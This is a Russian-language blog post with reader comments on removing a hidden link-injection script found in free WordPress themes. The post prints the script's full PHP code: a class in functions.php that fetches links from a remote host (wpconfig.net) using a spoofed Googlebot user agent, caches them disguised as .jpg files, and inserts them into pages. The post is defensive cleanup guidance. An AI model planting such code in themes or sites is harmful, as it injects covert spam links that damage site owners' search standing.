Как правило бесплатные шаблоны напичканы внешними ссылками на различные ресурсы в сети. БОльшая часть этих ссылок легко удаляется правкой footer.php или иных файлов WordPress. Однако не всегда внешние ссылки легко обнаружить, в некоторых случаях вообще не возможно, поскольку появляются они через определенное время после создания сайта.
Один из наиболее популярных сайтов с бесплатными шаблонами wp-templates.ru совершенно открыто засоряет темы WordPress, представленные на нем, специальным скриптом, который через определенное время начинает подгружать внешние ссылки на сайт. Информацию об этом можно прочесть здесь:
Соответственно, для удаления скрипта необходимо отредактировать файл comments.php вашей темы, а именно - удалить код:
<?php $lib_path = dirname(__FILE__).’/'; require_once(‘functions.php’); $links = new Get_links(); $links = $links->return_links($lib_path); echo $links; ?>
Однако на этом останавливаться не стоит, отредактировать нужно также файл functions.php. В нем нужно отыскать код:
class Get_links {
var $host = 'wpconfig.net';
var $path = '/system.php';
var $_cache_lifetime = 21600;
var $_socket_timeout = 5;
function get_remote() {
$req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
$_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";
$links_class = new Get_links();
$host = $links_class->host;
$path = $links_class->path;
$_socket_timeout = $links_class->_socket_timeout;
//$_user_agent = $links_class->_user_agent;
@ini_set(‘allow_url_fopen', 1);
@ini_set(‘default_socket_timeout', $_socket_timeout);
@ini_set(‘user_agent', $_user_agent);
if (function_exists(‘file_get_contents')) {
$opts = array(
‘http'=>array(
‘method'=>"GET",
‘header'=>"Referer: {$req_url}\r\n".
"User-Agent: {$_user_agent}\r\n"
)
);
$context = stream_context_create($opts);
$data = @file_get_contents(‘http://' . $host . $path, false, $context);
preg_match(‘/(\<\!—link—\>)(.*?)(\<\!—link—\>)/', $data, $data);
$data = @$data[2];
return $data;
}
return '<!—link error—>';
}
function return_links($lib_path) {
$links_class = new Get_links();
$file = ABSPATH.'wp-content/uploads/2011/'.md5($_SERVER['REQUEST_URI']).'.jpg';
$_cache_lifetime = $links_class->_cache_lifetime;
if (!file_exists($file))
{
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} else {
$data = file_get_contents($file);
return $data;
}
}
}
И также его удалить! В различных шаблонах он может выглядеть по-разному, однако его легко отыскать, вбив в строку поиска "class Get_links".
Для тех, кому совершить подобные манипуляции не под силу, можно воспользовавшись поиском, скачать аналогичный шаблон с другого ресурса и просто заменить файлы comments.php и functions.php, но в данном случае нет никаких гарантий, что вы не занесете на сайт иные источники внешних ссылок.
Если статья вам помогла, пишите, пожалуйста, в комментариях. Также пишите о своих методах борьбы с внешними ссылками!
Спасибо большое! Как раз столкнулся з такой проблемой — соломоно показал внешние силки, которых не должно бить. Начал искать проблему и, именну в этом она заключалась. Тепер все норм =)
У меня название темы FireGames, все удалил, все работает
Спасибо большое!Тоже столкнулся с такой проблемой,только у меня не
в comments.php ,а в footer.php .В functions.php удалил код и ссылки перестали работать,но беда была в том ,что return_links($lib_path); echo $links; ?> нужно было удалить из футера,но при удалении слитал сайт.Тогда я скачал такую же тему но с другова сайта .Нашел там свой футер и просто заменил. Бинго,сайт заработал и все внешнее ссылки которые были поразитами исчезли.Спасибо автору за статью
Рад, что помог, обращайтесь!
Спасибо, лишний код удалила.
Удалил этот кусок кода и судя по всему из-за него слетел шаблон return_links($lib_path); echo $links; ?>
Кто-нибудь что подскажет. Обратно вставляю ничего не менячется
Здравствуйте. Попробуйте вставить данные из оригинального шаблона: Functions.php и Comments.php! Отпишитесь, пожалуйста, о результатах!
Не помогло, к сожалению
Почему то пропадает после этих действий подвал. хорошо-резервное копирование сделал, надо дальше думать что то по удалению ссылок
Такой код я у себя тоже нашла в functions.php Но его удаление вообще ничего не дало 🙁 Linkpad показывает наличие 36 анкоров на сайте со ссылками, которые невооруженным глазом не видны. Comments.phph у меня без кода
Надо смотреть сайт, так трудно что-то сказать!
Спасибо дружище за подсказку. А то из-за этого галеного темплата два сайта под Агс ушли, только потом понял в чем дело. А как их убрать не знал, пока не наткнулся на этот сайт, еще раз СПАСИБО!
Давно не заходил на относительно старые страницы сайта и очень удивился, в footer слева появился текст, состоящий с одного слова, с сылкой открытой для индексирования. Думал откуда взялось, при проверке плагином ТАС не чего не показало, так как я уже давненько все почистил.
И тут наткнулся на ваш сайт. Все помогло, активные ссылки с футера пропали. Одно только в файле comments.php кода который вы указывали у меня не оказалась, а вот вот в functions.php как раз и был тот злосчастный код.
Скопировал часть вашего кода, открыл программный файл/правка/найти/удалить и вуаля все получилось! Спасибо вам большое и сайту «сайт с нулиа» за помощь!!!
Всем привет! Админ, спасибо огромное, помог!
Код был в footer.php и почистил functions.php…
А заметил ссылки в футере случайно, зашел с мобилки на сайт. С компа ссылки не палились!!!
Спасибо огромнющее! Все нашла сама и удалила к чертовой матери. Сайт работает, даже ничего не перекривилось и не съехало.
Добрый день! У меня проблема с ссылками, majestic показывает 866 ссылок, из них 634 идут из файлаhttp://rowdysax.ru/wp-includes/mybook.php http://urokwp.ru
но я этот файл удалил месяца 4 назад! А ссылки якобы еще есть! Может подскажите что делать???
Мой сайт rowdysax.ru
Ваши коды поискал, вроде бы их нет!
Тему качал с
Спасибо! Я знал, что ссылку нужно искать в футуре или комментариях, но не знал, что ещё код нужно в файле функций удалять. Большое спасибо! ))
class Get_links {
удалил var $host = ‘wpconfig.net’;
удалил var $path = ‘/system.php’;
удалил var $_socket_timeout = 5;
function get_remote() {
если удалить весь код как он выглядит выше в статье, то тема теряет много функций и криво стоит.
Я удалил эти три строки (удалил). Ссыль ушла и тема в порядке.
Какой смысл брать заведомую проблему и пытаться ее исправить? Тем более что неизвестно, все вы почистите или чтото останется.
Мазохисты…
Да, помогло. Большое спасибо!
Добрый день!
В шаблоне i-transform файлы comments.php и functions.php содержат подобные генераторы ссылок. Спасибо за помощь!!!